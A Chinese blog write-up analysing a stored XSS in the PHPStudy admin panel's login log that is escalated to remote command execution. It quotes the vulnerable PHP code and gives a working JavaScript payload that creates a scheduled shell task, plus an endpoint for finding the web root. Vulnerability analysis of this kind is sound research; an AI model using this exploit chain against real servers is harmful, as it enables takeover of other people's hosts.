iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

PHPStudy RCE 分析

PHPStudy RCE 分析

本质上是一个存储型 XSS 漏洞。通过 XSS 漏洞可以构造恶意 js 代码,在代码触发时自动发送添加 计划任务 的请求,从而实现 RCE

XSS

我们直接在用户名的地方填写我们的 xss 地址,点击登录即可

image-20230203224347376

然后我们通过正确的账号密码登录进去,发现恶意代码被正常解析了,PHPStudy 在展现 操作日志 时未进行任何过滤,所以我们可以执行任意 Javascript 代码

image-20230203224453498

漏洞代码

account.phg 主要用来获取用户登录状态,登录时调用 login 方法

1
2
3
4
5
6
7
8
9
// com\web\service\app\account.php
// 登录
if($type=='login'){
$username = post('username');
$pwd = post('password');
$verifycode = post('verifycode');
$res = Account::login($username,$pwd,$verifycode);
xpexit(json_encode($res));
}

其中 post() 函数经过了 htmlspecialchars 处理

1
2
3
4
5
6
7
8
9
10
11
12
13
function post($field='',$default=''){
if(!$field){
return $_POST;
}

if(!isset($_POST[$field])){
return $default?$default:false;
}
if(is_string($_POST[$field])){
return htmlspecialchars($_POST[$field]);
}
return $_POST[$field];
}

login() 方法中通过 Socket::request 处理了参数,Socket::request 调用了 8090 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// com\web\service\app\model\Account.php
// 登录
public static function login($username,$pwd,$verifycode){
if($username==''){
return array('code'=>1,'msg'=>'用户名不能为空');
}
if($pwd == ''){
return array('code'=>1,'msg'=>'密码不能为空');
}
if(!sessionStarted()){
sessionStart();
}
if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
return array('code'=>1,'msg'=>'验证码不正确');
}
$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
$res = Socket::request($request);
if(!$res){
return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
}
$res = json_decode($res,true);
if($res['result'] == -1){
return array('code'=>300,'msg'=>$res['msg']);
}
if($res['result'] == 0){
return array('code'=>1,'msg'=>$res['msg']);
}

//token校验
$_SESSION['this_token'] = $res['token'];
// $access_token = md5(time()).md5(rand(1,100));
$access_token = $res['token'];
$_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
$res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
return $res;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// com\web\service\app\lib\socket.php
public static function request($data){
error_reporting(E_ALL);
set_time_limit(0);
$host = "127.0.0.1";
$port = 8090;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
//接收套接流的最大超时时间2秒,后面是微秒单位超时时间,设置为零,表示不管它
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 2000, "usec" => 0));
//发送套接流的最大超时时间为6秒
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array("sec" => 6, "usec" => 0));

$connection = @socket_connect($socket, $host, $port);
if(!$connection){
file_put_contents('socket.log', 'cannot connection '.$host.':'.$port.' at '.date('Y-m-d H:i:s')."\r\n",8);
return false;
}
$_data = json_decode($data,true);
isset($_SESSION['this_token']) && $_data['token'] = $_SESSION['this_token'];
$data = json_encode($_data);

$data .= '^^^';
socket_write($socket, $data,strlen($data));
$res = '';
while ($buff = socket_read($socket,1024)) {
$encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
if($encoding=='EUC-CN'){
$buff = iconv('GBK', 'UTF-8', $buff);
}

$res .= $buff;
if(substr($res,-3)=='^^^'){
socket_close($socket);
break;
}
}

$res = rtrim($res,'^^^');
if($res == 'ipdeny'){
xpexit(json_encode(array('code'=>403,'msg'=>'该IP被禁止访问')));
}

//检验token
if($_data['command'] != 'login'){
$res_ = json_decode($res,true);
if(isset($res_['result'])&&$res_['result']==-2){
distorySession();
xpexit(json_encode(array('code'=>1001,'msg'=>'您已经在其他地方登录过了,即将退出当前页面')));
}
}


return $res;
}

Socket 类中我们看到 socket_write() 写入,然后通过 socket_read() 读取结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
socket_write($socket, $data,strlen($data));
$res = '';
while ($buff = socket_read($socket,1024)) {
$encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
if($encoding=='EUC-CN'){
$buff = iconv('GBK', 'UTF-8', $buff);
}

$res .= $buff;
if(substr($res,-3)=='^^^'){
socket_close($socket);
break;
}
}

RCE

我们可以通过构造恶意 js 代码来发送新增 计划任务 的请求,从而来实现 RCE

image-20230203224555825

这里我们直接在网站根目录下创建一个 1.txt 文件,同时写入 test 内容,代码如下

1
2
3
4
5
var xhr = new XMLHttpRequest();
xhr.open("POST", "/service/app/tasks.php?type=save_shell", true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.send("title=test&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=echo test > D:\\xp.cn\\www\wwwroot\\admin\\localhost_80\\1.txt");

关于网站的绝对路径,可以通过以下接口获取,请求头必须添加 X-Requested-With,否则接口会返回 404

1
/service/app/sites.php?type=site_list

image-20230203231047825

参考链接

本文作者:iami233
本文链接:https://5ime.cn/phpstudy-xss2rce.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可